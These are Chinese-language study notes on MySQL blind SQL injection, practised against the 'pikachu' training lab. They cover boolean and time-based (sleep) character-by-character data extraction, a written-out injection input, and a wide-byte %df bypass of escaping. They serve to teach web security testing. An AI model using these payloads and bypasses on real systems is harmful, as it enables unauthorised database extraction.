安全数据库--mysql 盲注5 +绕过sql校验
在sql注入的过程中
1、使用了 简单的 sql查询 ,变更sql条件,使用 union join 返回数据, ##利用sql or关键字添加多个条件,union 添加SQL语句 返回数据
2、使用 函数报错的手法,返回数据。 ## 利用sql or关键字添加多个条件,返回数据 ,
3、在http协议上,针对http 头数据,cookie数据,进行注入,返回数据。 ## 利用sql or关键字添加多个条件,返回数据
如果把sql语句加入进去了,后台代码捕获了这种sql语句,不预执行。
函数报错回显也加进去了,后台代码放行了,但是错误信息被后台拦截了。 # 函数回显行不通了!!
如何在错误信息被后台拦截的情况下进行判断该处有没有注入点??
如何去判断该处有注入点,布尔值 根据and的特性
布尔值判断
思路如下:
上节讲到 测试一个注入点,后台代码把函数回显信息拦截了,也就是使用 or 或者 and 的 关键字的时候 是会拦截了另一个语句的返回值的,
如何能得到我们的所需要的信息哪。
那就是使用and的特性 左右都是true ,返回前一句sql的正确结果,后一句的sql已经执行完成了。说明此处是有注入点的。
布尔值注入使用
那么后一句sql 也必须是ture ,且没有返回值,只能使用数字比大小
asccii表中的十进制数字 对应着每一个字符 ,如果通过数字比大小,结合and ture的特性,就能一个个的把每一个字母反解出来。
现在 我们需要把 先取数据库的信息的字符长度,在一个个字母取出来,这样就能完成数据的拖出。
mysql>select database();
+------------+
| database() |
+------------+
| pikachu |
+------------+
1 row in set (0.02 sec)
mysql> select length(database()); # 使用length 函数判断返回值的字符数量 ,知道了了字符串的长度
+--------------------+
| length(database()) |
+--------------------+
| 7 |
+--------------------+
mysql> select substr(database(),1,1); # 然后 依次取出每一个字符
+------------------------+
| substr(database(),1,1) |
+------------------------+
| p |
+------------------------+
1 row in set (0.02 sec)
mysql> select ascii(substr(database(),1,1)); # 使用ascii函数 把返回值变成十进制的数字。
+-------------------------------+
| ascii(substr(database(),1,1)) |
+-------------------------------+
| 112 |
+-------------------------------+
1 row in set (0.02 sec)
mysql> select ascii(substr(database(),1,1))>112; # 比较数字大小,返回true,false 对应 ascii表的十进制 ,得出正确数字
+-----------------------------------+
| ascii(substr(database(),1,1))>112 |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.01 sec)
输入 vince' and ascii(substr(database(),1,1))=112 #
http 返回正常的值说明能能够注入
布尔型盲注
时间型盲注
时间型盲注的 判断,是在布尔值盲注时没有反应的的 另一种验证方式。
也是使用and的特性 左右都是true ,返回前一句sql的正确结果,后一句的sql已经执行完成了。说明此处是有注入点的。
时间延长的判断
mysql> select if(substr(database(),1,1)='p',sleep(10),null);
# 知道了数据库的名字的第一个字母是p ,做一样true的值,并且加一个等待命令,一旦页面10秒后刷新,确定就有注入点。
+-----------------------------------------------+
| if(substr(database(),1,1)='p',sleep(10),null) |
+-----------------------------------------------+
| 0 |
+-----------------------------------------------+
1 row in set (10.03 sec)
如何在通过时间盲注的脱库???
报错型盲注
待完善!!
绕过 SQL语句审查
# 对于sql注入或者函数回显都代表在没有对sql 这个语句进行审查 。
#select insert delete update 这四种数据操作语句 基本上是利用 数据的增删盖查,扩展sql条件和 union join 多表查询,连接查询等等方式。回显到前端。
一旦开发人员在 对sql 语句进行了校验,也就是 把提交的数据匹配特殊字符 比如
闭合作用的 单引号 ’ 井号 #
连接作用的 and or
语法作用 () 括号
一旦进行了匹配如何绕过。
宽字节注入
比较小众 ,必须是gbk编码 也是绕过sql审查的技术点之一
在php语言中的魔法字符,就是用来转义特殊字符的 \' \#
如果后台代码采用GBK编码的格式,那么可以使用宽字节的方式 绕过 \ 的限制,进行注入。
使用 %df + php的代码中的 \ 被GBK编码成 5c 组成 %df5c 变成了汉字
在burp中 在post请求的参数下,添加 %df 把\ 抵消
php语言开启gqc
$_server 取请求头键值对的函数 5之前有漏洞
$getenv
$http_raw_post_data